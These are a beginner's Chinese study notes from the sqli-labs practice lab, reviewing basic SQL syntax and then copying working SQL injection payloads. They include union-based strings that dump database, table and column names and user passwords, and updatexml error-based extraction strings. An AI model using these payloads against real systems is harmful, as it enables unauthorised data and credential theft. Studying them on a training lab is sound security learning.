碎碎念:作为小白,Ctrl C Ctrl V一下自己学过的语句就可能记得会熟悉一点,也记录下自己的心路历程。先从sqli-labs里面的学习慢慢摘抄。(2019.4.19)
select update delete insert into
create database alter database
create table alter table drop table
select 列 from 表
select * from 表
select LastName,FirstName from peqw
*选区所有列
Select distinct 列 from 表
select 列 from 表 where 列 运算符 值
Select * from persons where city ='北京‘
单引号括住文本,数值不用单引号
order by :默认升序排序, desc 改为降序
Select company from orders order by company
insert into 表 values(1,2,3,4…)
insert into table_name(列1,2,3)values(1,2)
updata 表 set 列 = 新值 where 列 = 原值
delete from 表 where 列=值
oracle:
select column_name from table_name
limit number
top:
select top number from table_name
select top 2 * from persons
like:
select * from table_name where columns
LIKE 'N%..'
select * from persons where * NOT LIKE '%q%'
通配符:
% 代替一个或者多个字符
_ 仅代替一个字符
[]
例子:select *from * where * like ‘[ABC]’%
含义:选取以ALN开头的
In:
选取多个值 在where之后
between and 两个值之间的数据
between values1 and values2
Alias 指定别名
表:
select column_name from
table_name AS alias_name
列:
select column_name AS alias_name from
table_name
join :
用于根据两个或多个表中的列之间的关系,
从这些表中查询数据。
select into 从一个表中插入另一个表中
Select * into **new table** from **old table**
先搜刮一遍天书和其他大佬的sqli-labs的注入语句,自己能用到就去试试。
一般可以使用联合表的方式来提取自己感兴趣的信息(union),但是使用union语句有个前提就是union 后面的语句必须与前面的语句字段数以及类型必须一直,否则数据库会报错。
这是在“灰色世界的阿信”的sqli-labs博客里面看到的,“一直”应该是“一致”。
再找天书里面的
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。
就强调字段数和类型一致才能查询到。
SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2
白话翻译:搜索(column)从(table)同时联合 搜索(column)从(table)
注释:默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。
怎么说呢,注释这里不是很懂,大概意思是搜索一个值但是在两个不同的表中?所以要用到all?到时实际运用的时候,再来更新这部分。
SQL UNION ALL 语法
SELECT column_name(s) FROM table_name1
UNION ALL
SELECT column_name(s) FROM table_name2
我们看下一个,经常用到的
order by 语句用于根据指定的列对结果集进行排序。
order by 语句默认按照升序对记录进行排序。
举例
SELECT Company, OrderNumber FROM Orders ORDER BY Company
从company这个表单中查找company和ordernumber。但是这后面还有一个Orders,这个是源代码里面的东西,照做就好了。
其实我看一些大佬,在做sqli-labs刚上来就爆数据库什么的,那时确实不好理解,现在稍微理解一些了,就先摘抄下来。
爆数据库
union select 1,group_concat(schema_name),3 from information_schema.schemata--+
其中的1和3,是什么呢?让我们去百度一下,查询gruop_concat
这个函数。
我们首先查到concat 是字符串连接函数,大概意思就是把所有字符串显示出来(吧?)
问了下琳姐,说select是因为表单有三项,我这引用的是sqli labs的less-1,当时刚好有三项,回显是查找的东西会显示在页面上的name和password,所有要把这个放在第二项。
刚刚被琳姐批了很不爽,但是好像又懂了一点什么,是先实验找出这个的表示方法,再根据回显,把函数放在特定的某个位置让其回显。
我在这找到另外一个爆数据库的,让我们看看有什么不同
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
后面多了一个database()
没错让我再去看看
爆数据库的数据表
在找到了数据库的时候再爆数据表
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’security’--+
这里不过多解释了,还是以less-1为例子的。
我在这找到另外一个查询语句,我们来看看有什么不同
爆列
union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’users’--+
这里可以盯着多看几次就看熟悉了。
爆数据
union select 1,username,password from users where id=2--+
忘记说了
“–+” 这个是注释符,把后面的全部注释掉了
自己试了一下还是很好用的嘿嘿嘿。
先写到这
——————————————————————————————————————————————————————————————————————————————————
好的跨入到less-6盲注部分,又有特别多的语句要学习了,想想还有点小兴奋的呢
爆数据表
and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
爆字段
and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+
注意事项:
0x7e是16进制转字符串的~。
有时候遇到数据内容多了显示不完,我们就要限制内容
limit是mysql的语法 select * from table limit m,n
其中m是指记录开始的index,从0开始,表示第一条记录 n是指从第m+1条开始,取n条。
select * from tablename limit 2,4
即取出第3条至第6条,4条记录
有几个mysql内置的函数需要记住:
length(str):返回str字符串的长度。
substr(str, pos,len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0